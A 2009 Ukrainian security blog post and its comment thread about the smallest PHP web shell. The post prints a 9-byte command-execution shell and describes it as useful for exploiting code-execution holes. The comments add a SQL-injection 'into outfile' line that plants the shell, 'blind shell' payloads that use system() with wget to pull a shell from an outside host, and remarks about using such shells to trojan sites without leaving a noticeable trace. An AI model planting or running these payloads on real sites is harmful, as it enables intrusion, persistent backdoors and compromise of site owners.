Самий маленький PHP-шел

22:43 21.07.2009

Після того як я розмістив на сайті свій MustLive Remote Shell, який є достатньо малим шелом (і якщо прибрати коментарі та додаткові echo, що я додав для красивого вигляду програми, то її код буде в один рядок), poma в коментярях привів ще більш короткий шел на PHP. Умовами роботи якого є включені short_open_tag та register_globals.

PHP Shell:

<?=@`$c`;

Цей шел займає всього 9 байт. І це самий маленький PHP-шел серед мені відомих. Якщо вам відомий ще менший шел, то не соромтеся навести його в коментарях ;-) .

Такі маленькі шели як MustLive Remote Shell та Poma’s Shell можуть знадобитися при дослідженні Code Execution уразливостей на сайтах. Особливо у тому випадку, якщо є обмеження на розмір коду, коли можна на сайт завантажити лише файли невеликого розміру, або у випадку Code Execution уразливостей, що дозволяють виконувати PHP-код через параметри скрипта (і при цьому є обмеження на розмір даних, що передаються в даному параметрі). Бо коли немає таких обмежень, то можна використати повнофунціональний шел 8-) (з більшими можливостями, але й більшим розміром файла).


5 відповідей на “Самий маленький PHP-шел”

  1. poma каже:

    >> Poma’s Shell
    омг 8O ну якшо бути чесним, то не я його придумав :roll: ;)

    незнаю чого ти не опублікував hex цого шеллу, який пригодиться при magic_quotes On:
    >> select 0×3c3f3d40602463603f3e into outfile ‘/tmp/s.php’;

    і такий шелл, я так думаю, для залиття не варто використовувати, бо можна зайвий раз “спалитися” ;)

    такий шелл потрібно використовувати при протроянювання сайтів, коли хочете залишити “незамітний” слід..

    і ше до цого всього:
    завжди є альтернатива, тому аналог від Електа - “сліпий” шелл:
    >> > ?a=system(’wget http://site.com/shell.txt’);

    а ше один аналог в 9байт від того самого Електа ;) :
    >> > ?a=system&b=wget%20http://site.com//shell.txt

  2. poma каже:

    водрпрес обрізав теги, тому ше раз:

    “сліпий” шелл від Електа:
    >> >

  3. poma каже:

    та шо ж таке!
    водрпрес знову обрізав теги, і це шо потрібно, тому ше раз:

    “сліпий” шелл від Електа:
    >> >

  4. MustLive каже:

    водрпрес знову обрізав теги, і це шо потрібно, тому ше раз:

    WordPress не знову їх обрізав, а він завжди обрізає теги :-) . Є лише базовий набір тегів, які WP дозволяє в коментах.

    “сліпий” шелл від Електа:

    poma, в твоєму випадку потрібно вводити кутові дужки через їх html-entities:

    &gt; - >
    &lt; - <

    І тоді зможеш ввести потрібний php код.

  5. MustLive каже:

    ну якшо бути чесним, то не я його придумав

    Я так і здогадувався, що цей шел придумали до тебе і ти повідомив про вже існуючий шел. Просто треба було в тексті його якось назвати :-) .

    незнаю чого ти не опублікував hex цого шеллу, який пригодиться при magic_quotes On:
    >> select 0?3c3f3d40602463603f3e into outfile ‘/tmp/s.php’;

    Ну, кому треба зробити hex-версію шела, той зробить це самотужки, не варто лінитися ;-) . До того ж, окрім використання хекса, при SQL Injection атаках для обходу magic_quotes можна використовувати мій SQL Injection ASCII Encoder.

    А от стосовно приклада з into outfile, то він дуже невдалий. Ти завжди добре подумай перед тим як привести приклад і завжди перечитуй текст перед його публікаціює - це дозволить уникнути таких ляпів. Бо приклад неробочий (знов тебе понесло на “неробочі дірки”, як з тою діркою в плагіні до WP).

    Для запису в файл через into outfile потрібні лапки, тому з включеними magic_quotes цього зробити не вдасться. Тому й не вдасться записати шел у файл через SQL Injection і тому даний приклад шела в хексі є неактуальним, бо обійшовши таким чином mq для текста шела, їх не вдасться обійти в імені файла (і по цій причині SQL запит не виконається). Зовсім не подумавши ти це приклад написав ;-) .

    завжди є альтернатива, тому аналог від Електа - “сліпий” шелл:

    а ше один аналог в 9байт від того самого Електа ;) :

    Ти ці два шела перезапость в коментарі з врахуванням моїх рекомендацій по використанню html-entities кутових дужок.

Leave a Reply

You must be logged in to post a comment.